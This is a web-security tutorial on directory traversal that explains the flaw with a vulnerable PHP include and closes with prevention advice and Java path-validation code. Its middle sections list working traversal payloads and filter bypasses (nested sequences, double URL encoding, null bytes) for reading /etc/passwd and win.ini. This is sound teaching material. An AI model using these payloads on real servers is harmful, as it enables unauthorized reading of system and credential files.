# Directory Traversal

{% embed url="<https://portswigger.net/web-security/file-path-traversal>" %}

## What is Directory Traversal?

{% hint style="info" %} <mark style="color:red;">**Directory traversal**</mark> (also known as file path traversal) is a web security vulnerability that allows an attacker to read arbitrary files on the server that is running an application.
{% endhint %}

This might include application code and data, credentials for back-end systems, and sensitive operating system files. In some cases, an attacker might be able to write to arbitrary files on the server, allowing them to modify application data or behavior, and ultimately take full control of the server.

### Example 1

For example, consider the following PHP code snippet:

```php
<?php
$template = 'blue.php';
if (is_set($_COOKIE['TEMPLATE']))
    $template = $_COOKIE['TEMPLATE'];
include("/home/users/phpguru/templates/" . $template);
?>
```

The input `$template` is not properly sanitized, so attacker can use the "dot-dot" attack for arbitrary read. For example, a PoC HTTP request would look like the following:

```http
GET /vulnerable.php HTTP/1.0
Cookie: TEMPLATE=../../../../../../../../../etc/passwd
...
```

### Example 2

On Linux, if there is an image located at `/var/www/images/218.png`, then the following payload reads `/var/www/images/../../../etc/passwd`:

```url
https://insecure-website.com/loadImage?filename=../../../etc/passwd
```

On Windows:

```uri
https://insecure-website.com/loadImage?filename=..\..\..\windows\win.ini
```

### Common Payloads

* <mark style="color:red;">**Regular cases**</mark>
  * For Linux: `../../../../../etc/passwd`
  * For Windows: `.\..\..\..\..\..\windows\win.ini`
* <mark style="color:red;">**Absolute paths**</mark>
  * `/etc/passwd`
* <mark style="color:red;">**Traversal sequences stripped non-recursively**</mark>
  * `....//....//....//etc/passwd`
  * This will be stripped as `../../../etc/passwd`
* <mark style="color:red;">**Bypass traversal sequence stripped defense using URL encoding**</mark>
* <mark style="color:red;">**Bypass start of path validation**</mark>
  * `/var/www/images/../../../etc/passwd`
* <mark style="color:red;">**Bypass file extension validation using null byte**</mark>
  * `../../../etc/passwd%00.png`

## Bypassing Validations <a href="#common-obstacles-to-exploiting-file-path-traversal-vulnerabilities" id="common-obstacles-to-exploiting-file-path-traversal-vulnerabilities"></a>

If an application strips or blocks directory traversal sequences from the user-supplied filename, try using the following methods to bypass the restriction.

### **Method 1: Use absolute path**

You might be able to use an absolute path from the filesystem root, such as `filename=/etc/passwd`, to directly reference a file without using any traversal sequences:

```uri
https://insecure-website.com/loadImage?filename=/etc/passwd
```

### Method 2: Use nested traversal sequences

You might be able to use nested traversal sequences, such as `....//` or `....\/`, which will revert to simple traversal sequences when the inner sequence (`../`) is strippe&#x64;**:**

```uri
https://insecure-website.com/loadImage?filename=....//....//....//etc/passwd
```

### Method 3: Use URL encoding

In some contexts, such as in a URL path or the `filename` parameter of a `multipart/form-data` request, web servers may strip any directory traversal sequences before passing your input to the application. You can sometimes bypass this kind of sanitization by URL encoding, or even double URL encoding, the `../` characters, resulting in `%2e%2e%2f` or `%252e%252e%252f` respectively. Various non-standard encodings, such as `..%c0%af` or `..%ef%bc%8f`, may also do the trick:

```uri
https://insecure-website.com/loadImage?filename=..%252f..%252f..%252fetc/passwd
```

### Method 4: Use expected base folder

If an application requires that the user-supplied filename must start with the expected base folder, such as `/var/www/images`, then it might be possible to include the required base folder followed by suitable traversal sequences. For example:

```uri
https://insecure-website.com/loadImage?filename=/var/www/images/../../../etc/passwd
```

### Method 5: Use null byte + extension

If an application requires that the user-supplied filename must end with an expected file extension, such as `.png`, then it might be possible to use a null byte to effectively terminate the file path before the required extension. For example:

```uri
https://insecure-website.com/loadImage?filename=../../../etc/passwd%00.png
```

## Prevention

{% hint style="danger" %}
The most effective way to prevent file path traversal vulnerabilities is to <mark style="color:red;">**avoid passing user-supplied input to filesystem APIs altogether**</mark>. Many application functions that do this can be rewritten to deliver the same behavior in a safer way.
{% endhint %}

If it is considered unavoidable to pass user-supplied input to filesystem APIs, then **two layers of defense** should be used together to prevent attacks:

* The application should <mark style="color:red;">**validate the user input before processing it**</mark>. Ideally, the validation should compare against a <mark style="color:red;">**whitelist**</mark> of permitted values. If that isn't possible for the required functionality, then the validation should verify that the input contains only permitted content, such as purely alphanumeric characters.
* After validating the supplied input, the application should <mark style="color:red;">**append the input to the base directory and use a platform filesystem API to canonicalize the path**</mark>. It should verify that the canonicalized path starts with the expected base directory.

Below is an example of some simple Java code to validate the canonical path of a file based on user input:

```java
File file = new File(BASE_DIRECTORY, userInput);
if (file.getCanonicalPath().startsWith(BASE_DIRECTORY)) {
    // process file
}
```
